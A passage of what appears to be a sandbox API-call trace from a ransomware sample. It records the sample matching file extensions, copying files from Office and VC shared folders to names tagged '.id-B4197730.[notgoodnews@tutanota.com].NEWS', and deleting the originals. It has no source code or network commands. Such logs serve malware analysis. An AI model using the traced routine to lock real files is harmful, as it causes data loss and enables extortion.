lstrlenW (lpString=".zip") returned 4 [0087.855] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0087.855] lstrlenW (lpString=".rar") returned 4 [0087.856] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0087.856] lstrlenW (lpString=".bz2") returned 4 [0087.856] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0087.856] lstrlenW (lpString=".7z") returned 3 [0087.856] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0087.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.856] lstrlenW (lpString=".dbf") returned 4 [0087.856] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0087.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.856] lstrlenW (lpString=".1cd") returned 4 [0087.856] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0087.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0087.856] lstrlenW (lpString=".jpg") returned 4 [0087.856] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0087.856] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0087.856] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0087.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0087.857] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=590523) returned 1 [0087.857] CloseHandle (hObject=0x2f4) returned 1 [0087.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0087.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0087.857] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.858] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0087.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.204] GetLastError () returned 0x0 [0088.204] ReadFile (in: hFile=0x374, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x902bb, lpOverlapped=0x0) returned 1 [0088.217] WriteFile (in: hFile=0x348, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x902c0, lpOverlapped=0x0) returned 1 [0088.228] ReadFile (in: hFile=0x374, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.228] WriteFile (in: hFile=0x348, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x104, lpOverlapped=0x0) returned 1 [0088.228] SetEndOfFile (hFile=0x348) returned 1 [0088.228] CloseHandle (hObject=0x348) returned 1 [0088.228] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.228] SetEndOfFile (hFile=0x374) returned 1 [0088.233] CloseHandle (hObject=0x374) returned 1 [0088.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.234] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0088.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.234] lstrlenW (lpString=".doc") returned 4 [0088.234] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0088.234] lstrlenW (lpString=".docx") returned 5 [0088.234] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0088.234] lstrlenW (lpString=".pdf") returned 4 [0088.234] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0088.234] lstrlenW (lpString=".xls") returned 4 [0088.234] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0088.234] lstrlenW (lpString=".xlsx") returned 5 [0088.234] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0088.234] lstrlenW (lpString=".ppt") returned 4 [0088.234] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0088.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.234] lstrlenW (lpString=".zip") returned 4 [0088.234] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0088.234] lstrlenW (lpString=".rar") returned 4 [0088.234] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0088.234] lstrlenW (lpString=".bz2") returned 4 [0088.234] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString=".7z") returned 3 [0088.235] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0088.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.235] lstrlenW (lpString=".dbf") returned 4 [0088.235] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.235] lstrlenW (lpString=".1cd") returned 4 [0088.235] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.235] lstrlenW (lpString=".jpg") returned 4 [0088.235] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.235] lstrlenW (lpString=".doc") returned 4 [0088.235] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString=".docx") returned 5 [0088.235] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0088.235] lstrlenW (lpString=".pdf") returned 4 [0088.235] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString=".xls") returned 4 [0088.235] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString=".xlsx") returned 5 [0088.235] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0088.235] lstrlenW (lpString=".ppt") returned 4 [0088.235] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.235] lstrlenW (lpString=".zip") returned 4 [0088.235] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString=".rar") returned 4 [0088.235] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString=".bz2") returned 4 [0088.235] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0088.235] lstrlenW (lpString=".7z") returned 3 [0088.235] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0088.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.235] lstrlenW (lpString=".dbf") returned 4 [0088.235] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0088.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.236] lstrlenW (lpString=".1cd") returned 4 [0088.236] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0088.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0088.236] lstrlenW (lpString=".jpg") returned 4 [0088.236] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0088.236] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0088.236] lstrlenW (lpString="msdia90.dll") returned 11 [0088.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0088.237] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=855376) returned 1 [0088.237] CloseHandle (hObject=0x374) returned 1 [0088.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0088.237] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0088.237] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.237] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0088.928] GetLastError () returned 0x0 [0088.928] ReadFile (in: hFile=0x374, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0xd0d50, lpOverlapped=0x0) returned 1 [0088.945] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xd0d60, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xd0d60, lpOverlapped=0x0) returned 1 [0088.960] ReadFile (in: hFile=0x374, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0088.960] WriteFile (in: hFile=0x380, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xea, lpOverlapped=0x0) returned 1 [0088.960] SetEndOfFile (hFile=0x380) returned 1 [0088.960] CloseHandle (hObject=0x380) returned 1 [0088.961] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0088.961] SetEndOfFile (hFile=0x374) returned 1 [0088.970] CloseHandle (hObject=0x374) returned 1 [0088.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0088.970] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 1 [0088.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.971] lstrlenW (lpString=".doc") returned 4 [0088.971] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.971] lstrlenW (lpString=".docx") returned 5 [0088.971] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0088.971] lstrlenW (lpString=".pdf") returned 4 [0088.971] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.971] lstrlenW (lpString=".xls") returned 4 [0088.971] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.971] lstrlenW (lpString=".xlsx") returned 5 [0088.971] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0088.971] lstrlenW (lpString=".ppt") returned 4 [0088.971] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.971] lstrlenW (lpString=".zip") returned 4 [0088.971] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.971] lstrlenW (lpString=".rar") returned 4 [0088.971] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.971] lstrlenW (lpString=".bz2") returned 4 [0088.971] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.971] lstrlenW (lpString=".7z") returned 3 [0088.971] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.971] lstrlenW (lpString=".dbf") returned 4 [0088.971] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.971] lstrlenW (lpString=".1cd") returned 4 [0088.971] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.971] lstrlenW (lpString=".jpg") returned 4 [0088.971] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.972] lstrlenW (lpString=".doc") returned 4 [0088.972] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.972] lstrlenW (lpString=".docx") returned 5 [0088.972] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0088.972] lstrlenW (lpString=".pdf") returned 4 [0088.972] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.972] lstrlenW (lpString=".xls") returned 4 [0088.972] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.972] lstrlenW (lpString=".xlsx") returned 5 [0088.972] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0088.972] lstrlenW (lpString=".ppt") returned 4 [0088.972] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.972] lstrlenW (lpString=".zip") returned 4 [0088.972] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.972] lstrlenW (lpString=".rar") returned 4 [0088.972] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.972] lstrlenW (lpString=".bz2") returned 4 [0088.972] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.972] lstrlenW (lpString=".7z") returned 3 [0088.972] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.972] lstrlenW (lpString=".dbf") returned 4 [0088.972] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.972] lstrlenW (lpString=".1cd") returned 4 [0088.972] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll") returned 61 [0088.972] lstrlenW (lpString=".jpg") returned 4 [0088.972] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.973] lstrcmpiW (lpString1=".tlb", lpString2=".NEWS") returned 1 [0088.973] lstrlenW (lpString="vstoee100.tlb") returned 13 [0088.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0089.293] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=17048) returned 1 [0089.293] CloseHandle (hObject=0x380) returned 1 [0089.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0089.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0089.293] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.293] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0089.294] GetLastError () returned 0x0 [0089.294] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4298, lpOverlapped=0x0) returned 1 [0089.295] WriteFile (in: hFile=0x338, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x42a0, lpOverlapped=0x0) returned 1 [0089.296] ReadFile (in: hFile=0x380, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0089.296] WriteFile (in: hFile=0x338, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xee, lpOverlapped=0x0) returned 1 [0089.296] SetEndOfFile (hFile=0x338) returned 1 [0089.297] CloseHandle (hObject=0x338) returned 1 [0089.297] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0089.297] SetEndOfFile (hFile=0x380) returned 1 [0089.298] CloseHandle (hObject=0x380) returned 1 [0089.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0089.298] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0089.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.298] lstrlenW (lpString=".doc") returned 4 [0089.298] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0089.298] lstrlenW (lpString=".docx") returned 5 [0089.298] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0089.298] lstrlenW (lpString=".pdf") returned 4 [0089.298] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0089.298] lstrlenW (lpString=".xls") returned 4 [0089.298] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0089.299] lstrlenW (lpString=".xlsx") returned 5 [0089.299] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0089.299] lstrlenW (lpString=".ppt") returned 4 [0089.299] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0089.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.299] lstrlenW (lpString=".zip") returned 4 [0089.299] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0089.299] lstrlenW (lpString=".rar") returned 4 [0089.299] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0089.299] lstrlenW (lpString=".bz2") returned 4 [0089.299] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0089.299] lstrlenW (lpString=".7z") returned 3 [0089.299] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0089.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.299] lstrlenW (lpString=".dbf") returned 4 [0089.299] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1 [0089.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.299] lstrlenW (lpString=".1cd") returned 4 [0089.299] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1 [0089.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.299] lstrlenW (lpString=".jpg") returned 4 [0089.299] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1 [0089.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.299] lstrlenW (lpString=".doc") returned 4 [0089.299] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1 [0089.299] lstrlenW (lpString=".docx") returned 5 [0089.299] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1 [0089.299] lstrlenW (lpString=".pdf") returned 4 [0089.299] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1 [0089.299] lstrlenW (lpString=".xls") returned 4 [0089.299] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1 [0089.299] lstrlenW (lpString=".xlsx") returned 5 [0089.299] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1 [0089.299] lstrlenW (lpString=".ppt") returned 4 [0089.299] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1 [0089.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.299] lstrlenW (lpString=".zip") returned 4 [0089.300] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1 [0089.300] lstrlenW (lpString=".rar") returned 4 [0089.300] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1 [0089.300] lstrlenW (lpString=".bz2") returned 4 [0089.300] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1 [0089.300] lstrlenW (lpString=".7z") returned 3 [0089.300] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1 [0089.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb") returned 65 [0089.300] lstrlenW (lpString=".dbf") returned 4 [0089.300] lstrcmpiW (lpString1=".dbf", 